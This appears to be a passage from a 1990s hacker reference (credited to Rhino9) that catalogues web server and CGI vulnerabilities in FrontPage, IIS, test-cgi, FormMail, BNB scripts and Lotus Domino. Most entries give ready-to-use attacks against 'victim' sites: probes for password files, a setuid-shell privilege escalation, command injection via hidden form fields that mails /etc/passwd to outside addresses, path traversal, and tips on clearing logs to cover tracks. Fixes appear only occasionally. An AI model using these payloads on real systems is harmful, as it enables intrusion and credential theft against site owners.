default NTFS permissions are overly permissive, and allow change
control (RWXD) to the Everyone group by default, with the exception
of msadc which is full control to Everyone.
Due to the sensitive nature of these directories, it is recommended
that NTFS access permissions should be:
Administrators, LocalSystem: Full Control
Everyone: Special Access(X)
Recommended Action:
Administrators should verify access permissions on all virtual HTTP
server directories that are marked executable. See below for recommended
permissions.
All security patches that protect against local attacks should be applied
to HTTP servers due to the possibility of the server executing code
locally. See http://www.microsoft.com/security for details.
|
|
Name: Microsoft Frontpage
Date: 10 july 1998
Versions: Microsoft FrontPage Extensions, versions 1.0-1.1
Risk: unauthorized users can vandalize authorized users' files by
appending to them or overwriting.On a system with server-side
includes enabled, remote users may be able to exploit this
bug to execute commands on the server.
Distro: www.microsoft.com/frontpage/documents/bugQA.htm
Source: The MH DeskReference 1.2 by Rhino9
The server extensions are installed server side to provide added
functionality for frontpage web authors. These extensions function
as "web bots" if you will, giving web authors that use frontpage
easy access to complex web and HTML functions.
The hacces.ctl file can give you a lot of information, including
the location of the service password file. A complete example:
# -FrontPage-
Options None
<Limit GET POST PUT>
order deny,allow
deny from all
AuthName default_realm
AuthUserFile c:/frontpage webs/content/_vti_pvt/service.pwd
AuthGroupFile c:/frontpage webs/content/_vti_pvt/service.grp
a list of the Internet Information server files location in relation
to the local hard drive (C:) and the web (www.target.com)
C:InetPubwwwroot <Home>
C:InetPubscripts /Scripts
C:InetPubftproot default for ftp
C:InetPubwwwroot_vti_bin /_vti_bin
C:InetPubwwwroot_vti_bin_vti_adm /_vti_bin/_vti_adm
C:InetPubwwwroot_vti_bin_vti_aut /_vti_bin/_vti_aut
C:InetPubcgi-bin /cgi-bin
C:InetPubwwwrootsrchadm /srchadm
C:WINNTSystem32inetserviisadmin /iisadmin
C:InetPubwwwroot_vti_pvt
FrontPage creates a directory _vti_pvt for the root web and for
each FrontPage sub-web. For each FrontPage web with unique permissions,
the _vti_pvt directory contains two files for the FrontPage web
that the access file points to:
service.pwd
- contains the list of users and passwords for the FrontPage web.
service.grp
- contains the list of groups (one group for authors and one for
administrators in FrontPage).
On Netscape servers, there are no service.grp files. The Netscape
password files are:
administrators.pwd
for administrators
authors.pwd
for authors and administrators
users.pwd
for users, authors, and administrators
C:InetPubwwwrootsamplesSearchQUERYHIT.HTM
http://www.victim.com/samples/search/queryhit.htm
- Internet Information Index Server sample
If Index Information Server is running under IIS, service.pwd (or
any other file) can sometimes be retrieved. Search for
"#filename=*.pwd"
FP extensions are fundamentally stupid in nearly all respects of
implementation. Firsly, they maintain a crapload of meta files (one
shadow for every file managed) then they have all of their config
info in a bunch of text files in the _vti_pvt directory. (Oh,BTW,
there exists a very HUGE privacy hole in the FP extenstions). If
you go to a site that has FP extensions, just pick any directory in
the URL, yank the filename off, and put "_vti_cnf" there instead...
you'll get a complete listing of all the files in the real directory.
With this you can snatch files that weren't meant to be seen by the
public...and it's available on ALL FP enabled sites.
Frontpage 98 fucks up the permissions so bad that it makes the
_vti_pvt directory WORLD WRITABLE!!! No shit, you can do whatever
you want to stuff in that directory.
Scanning PORT 80 (http) or 443 (https) options:
GET /__vti_inf.html #Ensures that frontpage server extensions
are installed.
GET /_vti_pvt/service.pwd #Contains the encrypted password files.
Not used on IIS and WebSite servers
GET /_vti_pvt/authors.pwd # On Netscape servers only. Encrypted
names and passwords of authors.
GET /_vti_pvt/administrators.pwd
GET /_vti_log/author.log #If author.log is there it will need to
be cleaned to cover your tracks
GET /samples/search/queryhit.htm
If service.pwd is obtained it will look similar to this:
Vacuum:SGXJVl6OJ9zkE
Turn it into DES format:
Vacuum:SGXJVl6OJ9zkE:10:200:Vacuum:/users/Vacuum:/bin/bash
|
|
Name: M$ FP extensions to Apache under UNIX.
Risk: remote root
Versions: Microsoft Frontpage 98 server extensions for Apache only
Date: 22 October 1997
Found: Marc Slemko
Details: http://www.worldgate.com/~marcs/fp/
You want a rogue program to run, and the victim has anonymous uploadable
FTP (or you sign up for a service and you want to run binaries on
the server, but can't):
mkdir _vti_bin
cd _vti_bin
put [whatever bin]
Web browser:
http://www.victim.com/somedirectorystructure/_vti_bin/trojanfile
Boom you've got stuff runnin on that server.
They configure the Netscape server the same way.
Unless you make a special NSAPI or Apache module, you're vulnerable
as a freshly born ewe of a cloned sheep named Dolly!
And why is this possible???
ScriptAlias "*/_vti_bin/*" /somedirpath
<Object ppath="*/_vti_bin/*">
...
</Object>
Solution:
Custom NSAPI / Apache module:
NameTrans fn="prefix_fpdir" prefix_path="/somedir/cgi-bin/frontpage"
name="cgi"
Custom Stub:
/somedir/cgi-bin/frontpage/cgi-wrapper [path to real binary]
Microsoft's FrontPage 98 server side extensions for Apache under
Unix include a small setuid root program (fpexe
) to allow the
FrontPage CGIs to be run as the user who owns the pages as opposed
to them all running as the user the web server runs as. This is
necessary to get around gaping loopholes that occur when all FrontPage
documents are owned by the user the web server runs as.
Before you can understand the holes in the FP server extensions,
you need to understand what I mean when I talk about the "key".
When the Frontpage-modified Apache server starts up, it generates
a pseudo-random string of 128 ASCII characters as a key. This key
is written to a file that is only readable by the user that starts
Apache; normally root. The server than passes the key to fpexe.
Since fpexe is setuid root, it can compare the key stored on disk
with the one it was passed to be sure they match; if not, it refuses
to run. This is used in an attempt to guarantee that the only thing
calling fpexe is the web server. Used properly this is a powerful
part of possible security precautions. I am not convinced that the
generation of the key is cryptographically adequate and it may be
subject to intelligent guessing attacks, however I have not looked
at it to see. As discussed later, the cryptographical robustness of
the key doesn't really matter.
There are a number of problems with the setuid root fpexe program.
I am not attempting a complete description of all the problems and
their possible consequences and fixes, just making a light sweep over
the top. The more obvious problems include:
Return codes from library calls are not properly checked. An example:
f = fopen( buf, "r");
fgets( key, 129, f );
fclose(f);
If fopen() failed (easy to make it do so with ulimit -n), then if your
system did not core dump on a fgets() on a closed descriptor you
would end up with an empty key. It is obviously easy to guess an empty
key. I am not aware of any systems that exhibit this exact problem,
but it is possible. Return codes need to be checked, especially in
setuid programs. Proper bounds checking is not done. This leads to
obvious buffer overflows. An example:
strcpy( work, FPDIR );
strcat( work, getenv("FPEXE") );
I won't go into the details of what this does, but if you could cause
this code to be executed, you could insert your own code on most
systems and likely gain access to the UID the program is running
as (root). This proves to be an unnecessary effort to go to, because
this code is only executed if you have the correct key; if you have
the correct key,there are far easier ways to gain access. Buffer
overflows are one of the most popular (albeit normally boring)
types of new holes in programs being publicized.
It does not clean the environment variables before starting the CGI.
Again, this means you can gain access to the UID that the program
runs as (not root). If the rest of the program was securely written,
this could possibly be an issue however it is of little consequence
currently due to the gaping holes in other areas.
It assumes that if you have the key, then you are authorized to have
it run any program as nearly any user you tell it to. The process
you are running also needs to be in the same process group as the
web server; all CGIs run by the server, however, are in the same
process group so if you can run a CGI script you can work around
the second check. It does no further checks to be sure you are
running as a user that should be allowed to run FrontPage CGIs (other
than disallowing UID 0; the compiled version also disallows gid 0,
however the source version doesn't) or that you are running a Frontpage
related program. This means that if you get the key file, you can
gain access to any non-root UID on the server. On 99% of boxes, that
will give you root. For example, if binaries are owned by bin then
become bin and replace one that is run by root from cron. The
possibilities are endless once you obtain this level of access.
And, finally, the worst: it passes the key to fpexe via an
environment variable! On most systems, environment variables are
available via "ps -e". This means that anyone with access to run
programs on the system (and there are often more people than you
think that are able to do this, due to things such as CGIs) can
see it as it is being passed from the web server to fpexe. Recall
that once you have the key, there is little remaining before you
can get full access to the system.
Demonstration of an exploit
I.First I have to find the key. This can be done by using ps to get
the environment from fpexe. To do this, I first setup a loop running
(this assumes a real aka. Bourne shell; if you use the bastard
C-shell it obviously won't work as written):
while true; do ps axuwwe -U nobody | grep FPKEY; done
II.Then I used ZeusBench, a very simple HTTP benchmark program, to
generate load on the server:
zb localhost /fp/_vti_bin/shtml.exe -c 50 -t 30
Any method of generating traffic could be used, including a web
browser. Since I am using a very inefficient method of looking for
a process, I need to generate lots of traffic to increase my chance
of finding one. It certainly isn't likely to happen on the first
request. The requests do have to be made to a FP CGI script so it
will call fpexe.
III.Before long, I had what I wanted from ps (manually wrapped):
nobody 28008 0.0 0.2 180 76 ?? DN 6:51PM 0:00.01
SCRIPT_URL=/fp/ SCRIPT_URI=http://localhost/fp/ FPUID=1000 FPGID=1000
FPEXE=/_vti_bin/shtml.exe FPKEY=9AF675E332F7583776C241A4795FE387D8E5DC80E77
3FAB70794848FDEFB173FF14CDCDC44F3FAAF144A8C95A81C04BF5FC2B9EFDE3C8DCA1049CD
F760364E59 HTTP_USER_AGENT=ZeusBench/1.0 HTTP_ACCEPT=*/*
PATH=/sbin:/usr/sbin:/bin:/usr/local/bin:/usr/bin:/usr/local/sbin/
SERVER_SOFTWARE=Apache/1.2.5-dev SERVER_NAME=localhost SERVER_PORT=80
REMOTE_HOST=localhost REMOTE_ADDR=127.0.0.1
DOCUMENT_ROOT=/usr/local/etc/httpd/htdocs SERVER_ADMIN=marcs@znep.com
SCRIPT_FILENAME=/usr/local/frontpage/currentversion/apache-fp/_vti_bin/fpexe
REMOTE_PORT=2849 GATEWAY_INTERFACE=CGI/1.1 SERVER_PROTOCOL=HTTP/1.0
REQUEST_METHOD=GET QUERY_STRING= REQUEST_URI=/fp/_vti_bin/shtml.exe
SCRIPT_NAME=/fp/_vti_bin/shtml.exe fpexe
IV.Then I need to use the key to make fpexe think I am the web server. I
can't just run this from a normal shell, since I need to be in the same
process group as the web server. A simple CGI suffices:
#!/bin/sh
echo Content-type: text/plain
echo
export FPUID=3;
export FPGID=3;
export FPEXE=../../../../../../../../tmp/gotcha;
export FPKEY=9AF675E332F7583776C241A4795FE387D8E5DC80E773FAB70794848FDEFB173FF14CDCDC44F3FAAF144A8C95A81C04BF5FC2B9EFDE3C8DCA1049CDF760364E59
/usr/local/frontpage/currentversion/apache-fp/_vti_bin/fpexe 2>&1
V.I need a program for it to run (/tmp/gotcha in this example):
#!/bin/sh
/usr/bin/id
cp /bin/sh /tmp/.mysh
chmod u+s /tmp/.mysh
VI.Then I simply make a HTTP request for the CGI script. I can then
run /tmp/.mysh at my leisure to gain access to UID 3 (bin on my
system) and do what I want from there.
Fixes
The Apache web server has a suEXEC wrapper designed to allow for
a similar thing; that is, execution of CGI scripts under a user's
own UID. It is very restrictive (some would say anal) about what it
allows: there is a reason for that, as Microsoft's obviously failed
attempt at security shows. It is possible that suEXEC could be
adapted to function in conjunction with FrontPage, however it will
not work without source modifications.
One short term workaround until Microsoft addresses the issue is
to simply remove the FrontPage setup from your system. This can be
done temporarily by removing the setuid bit from fpexe (ie. chmod
u-s fpexe). This will prevent all the pretty FrontPage CGIs from
working. It will prevent people from uploading new pages using
FrontPage's own methods (ie. they can tell FrontPage to use FTP
and they will still be uploaded), but generic content that doesn't
rely on FrontPage's server side CGI scripts should work fine.
Another possible workaround is to prevent users from running the
ps command. This could have a very negative impact on your system
if things depend on it, and is a poor solution however it may be
the best one for you. On systems that don't use a procfs (/proc)
based ps, you can normally simply remove world execute permissions
from it to disable it. If you are on a system like Linux that
normally uses a procfs for ps to get information, this doesn't
solve the problem because someone can read from the procfs directly.
Last of all, since this problem only occurs when using FrontPage
with the mod_frontpage extensions, it is possible to use the FrontPage
extensions on Apache without using mod_frontpage or fpexe.
Unfortunately, this conversion is not easy. It means that, after
recompiling Apache without any of the Microsoft modifications (just
commenting out mod_frontpage from the Configuration file may be
enough; haven't checked) you have to either manually copy the FrontPage
CGIs to the appropriate subdirectory under each user's web directory
and make them setuid to that user or copy them (or make links) and
don't make them setuid to that user. The former preserves the current
ownership. With the latter all the user's web files will need to
be changed back to being owned by the user the web server runs as
or else they will be unable to manipulate them and some of the FP
CGIs won't run correctly. This is a pain and brings you back to the
horrible security practice of letting anyone who can run CGIs modify
any FrontPage user's files. Although this may be the best temporary
workaround (although quite annoying if you have a large number of
users), I can not go into step by step details of how to accomplish
this change because I am not fully familiar with various ways of
using the FrontPage extensions. The Microsoft FP security consi-
derations document (part of the FP98 Server Extensions Resource Kit)
provides some more details of the method in which the CGIs are run
without fpexe.
On a side note, Microsoft actually modifies the server name returned
to clients when the FrontPage patches are installed in Apache to include
"FrontPage/x.x.x". That is fine, however it gives anyone connecting
to your server the ability to determine the chances of them being
able to break into your system using holes in the FP extentions.
|
|
Name: BNBForm (bnbform.cgi)
Risk: remote users can read arbitrary files on the filesystem.
Date: December 3, 1998
Found: duke (duke@viper.net.au - duke@el8.org)
Distro: http://bignosebird.com/carchive/bnbform.shtml
The problem is that this form sends a responding email to users
with the contents of any file contained in the 'automessage' variable.
This can be used to specify any file that is readable by the uid
of the webserver.
There is also a security mechanism in place to prevent you from
running this cgi script off of forms on other servers, using a
$SECURE_NAME variable, but this is easily bypassable by copying the
"submit_to" field off of the intended form onto your malicious form.
This mechanism is disabled by default.
<FORM METHOD="POST" ACTION="http://www.victim.com/cgi-bin/bnbform.cgi">
FIELDS MARKED WITH * ARE REQUIRED!
Your Name:* <INPUT TYPE="TEXT" NAME="name" SIZE=35 MAXLENGTH=50>
<!-- SCRIPT CONFIGURATION SECTION -->
<INPUT TYPE="HIDDEN" NAME="autorespond" VALUE="yes">
<INPUT TYPE="HIDDEN" NAME="automessage" VALUE="/etc/passwd">
<INPUT TYPE="HIDDEN" NAME="ok_url" VALUE="http://127.0.0.1/thanks.html">
<INPUT TYPE="HIDDEN" NAME="not_ok_url" VALUE="http://127.0.0.1/oops.html">
|
|
Name: BNBSurvey (survey.cgi)
Risk: remote users can execute commands with web server privs
Date: December 3, 1998
Found: duke (duke@viper.net.au - duke@el8.org)
Distro: http://bignosebird.com/carchive/survey.shtml
BNBSurvey is a CGI for doing simple surveys.
This script has 2 modes of operation - the first being that people
can vote as many times as they like, and the second being that the
people can only vote once every hour. The first operation is the
default.
If this second mode of operation is enabled though, remote users
can use metacharacters in the 'filebase' variable to execute arbitrary
commands. (ie. if $ENFORCEMENT = "1" is set in the cgi script).
<FORM METHOD="POST" ACTION="www.victim.com/cgi-bin/survey.cgi">
<input type=hidden name=action value="VOTE">
<input type=hidden name=filebase value="bleh; /bin/mail you@your_email_address.com
<PRE>
Your Gender
<input type=radio name=ITEM1 value="0">Male
<input type=radio name=ITEM1 value="1">Female
<input type=radio name=ITEM1 value="2">Neuter
<INPUT TYPE="submit" VALUE="VOTE!">
|
|
Name: Classifieds (classifieds.cgi)
Risk: remote users can execute commands with web server privs
Date: December 15, 1998
Distro: http://cgi.notts.net
Classifieds by Greg Mathews is a free cgi script for handling classified
ads. There are multiple security holes in this that allow remote
execution. Firstly, by setting your email address as something like
"duke@viper.net.au</etc/passwd"
you can read files remotely off
the server.
Also, by setting the hidden variables on a html form a remote user
can force arbitary commands to be executed. One example of this is
modifying the following variable:
<input type="hidden" name="mailprog" value="/usr/sbin/sendmail">
Changing its value to another command will cause that alternate command
to be executed.
For a remote server, copy their path hidden fields or it will not
get up to the vulnerable code.
This just executes "touch /tmp/bighole". Modify it to suit your needs..
<form method=post action="/cgi-bin/classifieds.cgi">
<input type="hidden" name="ClassifiedsDir" value="/home/httpd/html/class/ads/">
<input type="hidden" name="ViewDir" value="http://victim.com/class/ads/">
<input type="hidden" name="ErrorReturn" value="http://victim.com/class/index.html">
<input type="hidden" name="ReturnURL" value="http://victim.com/class/hi.html">
<input type="hidden" name="return" value="duke@viper.net.au">
<input type="hidden" name="mailprog" value="touch /tmp/bighole">
<b>Which department do you want your ad to be placed in or you would like to view?
</form>
|
|
Name: ASP bugs
Risk: allows remote file listing/downloading/source viewing
Versions: IIS x.x,PWS also Windows95/NT
Date: July 1, 1998
Distro: http://www.microsoft.com/security/bulletins/
Internet Information Server (IIS) may reveal Active Server Pages
(ASP) code in situations where the URL path contains a period in
part of the extended URL. For example, a URL such as
http://www.somesite.com/new.products/hello.asp
would display the code within hello.asp instead of executing it --
apparently the "new.products" portion of the URL causes the problem.
The problem occurs consistantly on FAT partitions and only happens
on NTFS partitions where the Everyone group has read access, or
IUSR_MACHINENAME has read access.
First bug: reading of .asp, .ht., .id, .PL
Feb 27 1997
This hot-fix solved the trailing '.' problem but opened up a new
hole which allows the same results - viewing the .asp file instead
of executing it.
This is accomplished by replacing the '.' in the filename part of a
URL with a '%2e', the hex value for '.':
http://www.mycompany.com/default.asp
http://www.myserver.com/default.asp.
http://www.mycompany.com/default%2easp
http://www.mycompany.com/default%2e%41sp
A problem was discovered that affects Microsoft IIS. Web clients
can read the contents of any NTFS file in an IIS directory to which
they have been granted "read access" including Active Server Pages
scripts The main data stream, which stores the primary content has
an attribute called $DATA. Accessing this NTFS stream via IIS from
a browser may display the contents of a file that is normally set
to be acted upon by an Application Mapping.
The problem does not allow the user to modify the script or to execute
arbitrary code.
The ACLs on the file must allow the user read access
The file must reside on an NTFS partition
To test for the vulnerability on your systems, choose a URL with
an .ASP extension and append the string "::$DATA".
http://www.somedomain.com/scripts/test.asp::$DATA
obtain domain users password via asp server variable
12 Aug 1998
With basic authentication on IIS, one can obtain password of users
accessing the ASP page via the server variable AUTH_PASSWORD.
The line <%= Request.ServerVariables("AUTH_PASSWORD") %>
in an asp file will do the trick.
With this, web page authors/content providers (probably not the
same person who administers the web server and NT domain) can easily
trap password of other domain users.
Hotfixes are ready
|
|
Name: httpd (Windows NT/95 IIS) bugs
Risk: allows remote file listing/downloading/source viewing
Versions: IIS 1.0,2.0,3.0,4.0, the PWS also
Author: Mnemonix (http://www.users.globalnet.co.uk/~mnemonix)
Distro: www.microsoft.com/infoserv
New Perl.exe, IIS exploit
13 Jul 1998
All versions of Internet Information Server seem to have a feature
that can cause security problems when it has been configured to run
Perl scripts to produce dynamic web pages, although really it is a
combination of IIS and the Perl command interpreter (Perl.exe) acting
together that can cause this hole. Basically the security implications
of this problem is that data can be read from execute only virtual
directories sometimes leading to the discovery of UserIDs and passwords.
Script extentions (in this case .cgi or .pl) are mapped against the
interpreter in the registry under the following key:
HKLMSYSTEMCurrentControlSetServicesW3SVCParametersScriptMap
When the web service receives a request from a browser it checks
the extention of the file requested and deals with it accordingly.
In this case if a .pl or .cgi file is requested IIS checks the
registry to see what interpreter should deal with that kind of file
and then passes the requested information to the interpreter, perl.exe.
This is the "fault" of IIS : that it does not check to see whether
the file actually exists or not; it just blindly passes the information
to the interpreter. IIS leaves this responsibilty to the interpreter.
The second part of this problem is caused by the interpreter: perl.exe.
Perl will open and try to execute any file that actually exists as
long as it has the extention .pl (if that is the registered extention)
Consequently if a space (%20) and .pl is appended to the end of a
URL Internet Information Server will pass the request to perl.exe
which will then open the file and try to execute it:
http://www.site.com/scripts/file.ext%20.pl
To demonstrate how this could be a problem: Some CGI scripts often
require a .txt file that contains a userID and password such as
wwwboard.cgi. Create a text file with two lines. On the first line
type "Webadmin" and on the secondline type "Password". Like so:
Webadmin
Password
And name the file pass.txt the request the following URL:
http://www.site.com/scripts/pass.txt%20.pl
You should receive a response similar to :
Can't call method "webadmin" in empty package "password" at
C:InetPubscriptspass.txt line 1
You can also glean information from other "sensitive" files such as
.asp or .idc
http://www.site.com/scripts/default.asp%20.pl
http://www.site.com/scripts/database.idc
You could even run old perl scripts that are still in the /scripts
directory but have had their extention changed:
http://www.site.com/scripts/script.pl.old%20.pl
This problem is exacerbated by the fact that perl.exe will accept
willcards such as * and ? so you don't even need to know that name
of a file. You can request :
http://www.site.com/scripts/*.txt%20.pl
and perl.exe will open the first text file in the scripts directory
that it comes across.
The solution to this problem is to use the ISAPI interpreter instead:
PerlIS.dll. This leads to better performance anyway as the script
is run in the same memory space as IIS and only one instance of it
ever needs to be loaded into memory unlike perl.exe where for each
script requested a new instance of perl.exe is loaded into its own
memory space.
Windows NT running IIS httpd prior to 1.0c
.. .Old
The IIS Web Publishing Service is not chrooted.
Any file on a intel WindowsNT box running IIS can be downloaded,
as long as the files you want to download are on the same
partition as the IIS root directory.
You enter the URL and a directory below the IIS root directory.
Any directory will do, as long as it is a subdirectory to the IIS
root. Most of the IIS installations have the directory scripts
or images so it isn't to hard to find a suitable directory. Then
you just ".." your way up in the directory structure.
http://www.victim.com/images/../../../mssql/customer.database
|
|
Name: test-cgi and nph-test-cgi (POPULAR!)
Risk: allows arbitrary remote file listing
Versions: Majority of UNIX based Internet World Wide Web servers come
with this CGI script installed by default. They are NCSA
HTTP 1.3, 1.4, 1.4.1, 1.4.2, 1.5.1, 1.5.2, 1,5.2a and
Apache/0.8.11, 0.8.14, 1.0.x, 1.1.0, 1.1.3, 1.2.x, 1.3.x
Distro: see original source of test-cgi
A security hole exists in the nph-test-cgi script included in
most UNIX based World Wide Web daemon distributions. The nph-*
scripts exist to allow 'non-parsed headers' to be sent via the
HTTP protocol (this is not the cause of this security problem,
though). The problem is that nph-test-cgi, which prints out
information on the current web environment (just like 'test-cgi'
does) does not enclose its arguments to the 'echo' command inside
of quotes....shell escapes are not possible but shell *expansion*
is....
If your test-cgi file contains the following line (verbatim) then
you are probably vulnerable.
echo QUERY_STRING = $QUERY_STRING
All of these lines should have the variables enclosed in loose
quotes ("). Without these quotes certain special characters
(specifically '*') get expanded where they shouldn't. Thus
submitting a query of '*' will return the contents of the
current directory (probably where all of the cgi files are...
gee, there's jj and phf. Sending in a query of '/*' will
list the root directory. And so on, and so on.
This is the same as doing `echo *` when you've blown away 'ls'
The easiest way to list out the directories is via the query
string. However, it is possible to do the same thing through
many of the other variables (ie $REMOTE_HOST, $REMOTE_USER, etc.)
in the right situations.
machine% echo "GET /cgi-bin/test-cgi?/*" | netcat www.hackme.com 80
CGI/1.0 test script report:
[...]
QUERY_STRING = /a /bin /boot /bsd /cdrom /dev /etc /home /lib /mnt
/root /sbin /stand /sys /tmp /usr /usr2 /var
[....]
$CONTENT_TYPE
~$(echo POST /cgi-bin/test-cgi HTTP/1.0;
echo Content-type: * ; echo Content-length: 0;
echo; sleep 5) | telnet localhost 80
Connected to localhost.
Escape character is '^]'.
[...]
REQUEST_METHOD = POST
CONTENT_TYPE = (bunch of files listed here )
CONTENT_LENGTH = 0
[....]
If you give test-cgi an argument which includes a *, you can get a
directory listing from the SERVER_PROTOCOL field.
SERVER_PROTOCOL is normally "HTTP/1.0". But Apache seems to accept
anything there. The following worked on my machine:
Pentium:~$ telnet localhost 80
Connected to localhost.
GET /cgi-bin/test-cgi *
HTTP/1.1 200 OK
[....skip....]
SERVER_PROTOCOL = printenv test-cgi
[....]
GET /cgi-bin/test-cgi /* will list the root directory.
http://yourwebserver.com/cgi-bin/nph-test-cgi?*
With minor variants, both scripts are a problem in a couple of
areas. Crank each of these plus a couple of newlines into your
server and see what you get:
GET /cgi-bin/test-cgi?* HTTP/1.0
GET /cgi-bin/test-cgi?x *
GET /cgi-bin/nph-test-cgi?* HTTP/1.0
GET /cgi-bin/nph-test-cgi?x *
You can also try this:
GET /cgi-bin/test-cgi?x HTTP/1.0 *
GET /cgi-bin/nph-test-cgi?x HTTP/1.0 *
# this can't be used in requests via proxy
also see HTTP_REQUEST_METHOD
bug
/cgi-bin/test-cgi?%0A/*
/cgi-bin/test-cgi?help&0a/bin/cat%20/etc/passwd
POST /cgi-bin/test-cgi HTTP/1.0
Content-type: *
Content-length: 0
* /cgi-bin/test-cgi HTTP/1.0
/* /cgi-bin/test-cgi HTTP/1.0
Putting /*/*/*/*/*/*/* (etc.) in 2 or 3 of above variables,
requesting test-cgi about 20 times in a row and each time cancelling
your request will drive the load on the server way up, making disk
access slow.
PATH_TRANSLATED can be abused by adding a / or a /~username to
test-cgi. This will give you the real pathname of the htdocs-dir
respectively the real pathname of an users $HOME/public_html.
If it is neccessary to have the script accessible then a quick
fix is to block
The fix is to surround all of the variables in test-cgi ( and any
other variations of test-cgi, such as nph-test-cgi, that may be
present) in quotes or add "set -f" as the second line of the script,
which closes the hole completely.
|
|
Name: FormMail perl script
Risk: Remote users can execute commands on the server.
Versions: FormMail, version 1.0
Distro: http://alpha.pr1.k12.co.us/~mattw/scripts.html
<html><head><title>hack</title></head>
<body><form method="post" action=
"http://www.clueless-sysadmin.se/cgi-bin/formmail.pl">
<input type="hidden" name="recipient" value=
"ugh@hotmail.com; cat /etc/passwd | mail ugh@hotmail.com">
<input type="submit" name="submit" value="submit">
</form></body></html>
|
|
Name: Set of perl-CGI scripts
Date: November, 1998
Risk: local or remote execution of arbitrary code
Versions: affected cgi scripts, listed below
Distro: www.cgi-resources.com
1) HAMcards Postcard script v1.0 Beta 2 at www.hamnetcenter.com
2) Hot Postal Services v?? at www.hotarea.com
the only metacharacter stripping this script does is rejecting any |'s
3) RC Bowen's Postcards v?? at www.rcbowen.com
4) LakeWeb's File and Mail List (expanded File Mail) v?? www.lakeweb.com
5) WebCards program (V1.6) by Sam Kareem (webmaster@iraq.net)
Each of these are exploitable by inputing metacharacters into the
recipient's email address. Each script calls something similar
to:
open( MAIL, "|$mailprog $email" )
# this particular line is from the LakeWeb scripts
The exploit strings are simple, something like
&mail evil@foobar.com < /etc/passwd&@host.com
will work for each script (the @host.com is necessary because
some hosts check for "@" and ".") when placed in the Recipient
Email field. As a result, any command can be executed remotely
without a local account with the uid of the webserver (usually
"nobody" or similar, but you never know).
Use open (MAIL , "|$sendmail -t") or use Net::SMTP to pass the
data directly to port 25. or simply rm -rf ./cgi-bin.
It might be an idea for CGI providing ISP's to insist on the use of
perl's Mail::Sendmail module, which cuts out any potential pipe/
metachar related bugs by communicating directly w/ the SMTP server.
$LOCAL_CPAN_MIRROR/authors/id/M/MI/MIVKOVIC/Mail-Sendmail-0.74.tar.gz
See http://www.perl.com/CPAN for a list of mirror sites.
|
|
Name: Lotus Domino
Date: October 9th, 1998
Risk: Users can write to remote server drives and change server
configuration files.
Versions: affect Domino 4.6 and earlier (on all platforms)
Distro: www.notes.net
Due to the design of Domino's database security,web users are able
to write to remote server drives and change server configuration
files. Three specific design flaws lead to sites being a victim.
Default database ACLs are set to allow unrestricted access to all
web users Databases do not correctly inherit their ACLs from their
parent template. No tool is provided to check that proper security
measures have been taken on server configuration databases. These
three problems lead to databases being left unsecured to any web user.
The first problem is that database default ACLs are set to give
every user (including anonymous) 'designer' access (practically
total control), as well as defaults the 'Max Internet Access' setting
to 'editor'. There is also no automatic way to set the ACLs for a
large number of databases at a single time. So every ACL for EVERY
database needs to be MANUALY edited by an admin to make SURE the
ACL is set properly. These two poor design issues practically
guarantee that a number of databases on a server will be giving
unwanted access to web users (or any users). This access includes
web users being allowed to WRITE to server drives, read log ...
The second problem is that databases do not correctly inherit the
access control list from their parent template. Templates are used
to update the design, forms, views etc. of similar databases, but
do nothing to the ACL on update or initial creation. This causes
serious problems for a server configuration file (a database),that
is created and edited a minimal number of times. This is the case
for domcfg.nsf. Domcfg.nsf is used for URL Redirection and the like;
on most sites it is usually created and edited only once (and for
this reason many admins overlook it). Since domcfg.nsf does not
inherit the ACL from its parent template (domcfg.ntf), and because
of the first problem mentioned above (namely, on initial database
creation the ACL is set to give 'default' users designer access),
any domcfg.nsf file's ACL that has not been MANUALLY edited to restrict
users will give a web user UNRESTRICTED access.
Many high profile Domino sites (you know who you are!) have been
affected with these problems. Due to the nature and uses of domcfg.nsf,
it is usually the guilty database An improperly configured ACL for
domcfg.nsf can let any user with a standard web browser CHANGE THE
URL ADDRESS of a site with simple redirection, edit/delete legitimate
URL redirections, and generally wreak havoc.
Now for the way domcfg.nsf is actually edited via the web:
To open the Domino Configuration database add 'domcfg.nsf/?Open'to
the end of url:
http://199.99.99.99/domcfg.nsf/?open
Now, in a correctly secured domcfg.nsf you would be prompted for a
password at this point (or, in some cases, the domcfg.nsf file has
not even been created and won't be there).
Anyway, many sites (due to the details listed above) do NOT have
their domcfg.nsf ACL setup correctly and at this point a web user
sees a screen showing different views they can pick from (URL Redirection,
Directory Mappings, etc.).
Now to ADD a URL Redirect simply change the URL to:
http://199.99.99.99/domcfg.nsf/URLRedirect/?OpenForm.
At this point you get a URL Redirection form. Fill in the fields:
IP Address: the IP address of the remote machine
URL path: the path you want to redirect (lets say
http://199.99.99.99)
Redirection URL: the url you want it to redirect to (your own url
http://my.own.url)
Saving the document (pressing the submit button) will produce a new
URL Redirection document. The next time the server is restarted the
URL Redirection will take effect.
With this example, every http request toward http://199.99.99.99
will be redirected toward http://my.own.url, having the affect of
completely redirecting the site.
Domino URL commands (which can be used to edit, delete, and manipulate
files via the web) can be found in all documentation as well as at:
www.notes.net/today.nsf
The vulnerability affects websites created by Lotus Business
Partners who provide training services and accept credit card numbers
via the web; however, in theory the vulnerabilities could extend to
any e-Commerce site.
Navigate through a Domino site, and once a database has been
accessed, remove the information after the .nsf or after the first
set of numbers following the server portion of the URL and replace
it with "?Open". If you are then presented with a list of views,
your site is potentially vulnerable to having anonymous users access
the information contained within the views listed Lotus recommends
blocking this access through a $$ViewTemplateDefault. If this technique
is used, the second vulnerability comes into play, which is to access
the view by using the following URL format:
http://www.server.com/database.nsf/viewname?SearchView&Query="*"
This bypass the $$ViewTemplateDefault if the database is full-text
indexed.
databases: names.nsf; catalog.nsf; log.nsf; domlog.nsf; domcfg.nsf.
older versions of Lotus Domino Go, formerly known as IBM Internet
Connection Server (ICS), contained a security hole in directory browsing.
When directory browsing is set to "fancy", a potential hacker can
browse backward through the directory tree all the way up to root
("/").
Thus, private system files and other documents are exposed to interception.
This bug was present in versions
1.0 through 2.0 of ICS,
and affected both the AIX and OS/2 Warp versions.
|
|
Name: Count.cgi remote overflow
Risk: local or remote execution of arbitrary code
Versions: Muhammad A. Muquit's wwwcount v 2.2, 2.3
Distro: http://www.fccc.edu/users/muquit/Count.html
There are at least two buffer overflow vulnerabilities in wwwcount,
a widely used CGI web counter. The most harmful occurs when the
QUERY_STRING environment variable (which reflects the url asked by
the www client) is copied to a fixed-size dynamic buffer. Another
one occures only when the counter is compiled with a special
authentication option, and may not be exploitable.
The actual fix is pretty simple. Apply the following patch to the
file main.c. Environment variables will be cutted down to their
first 600 chars. The idea of this patch can also be adapted for
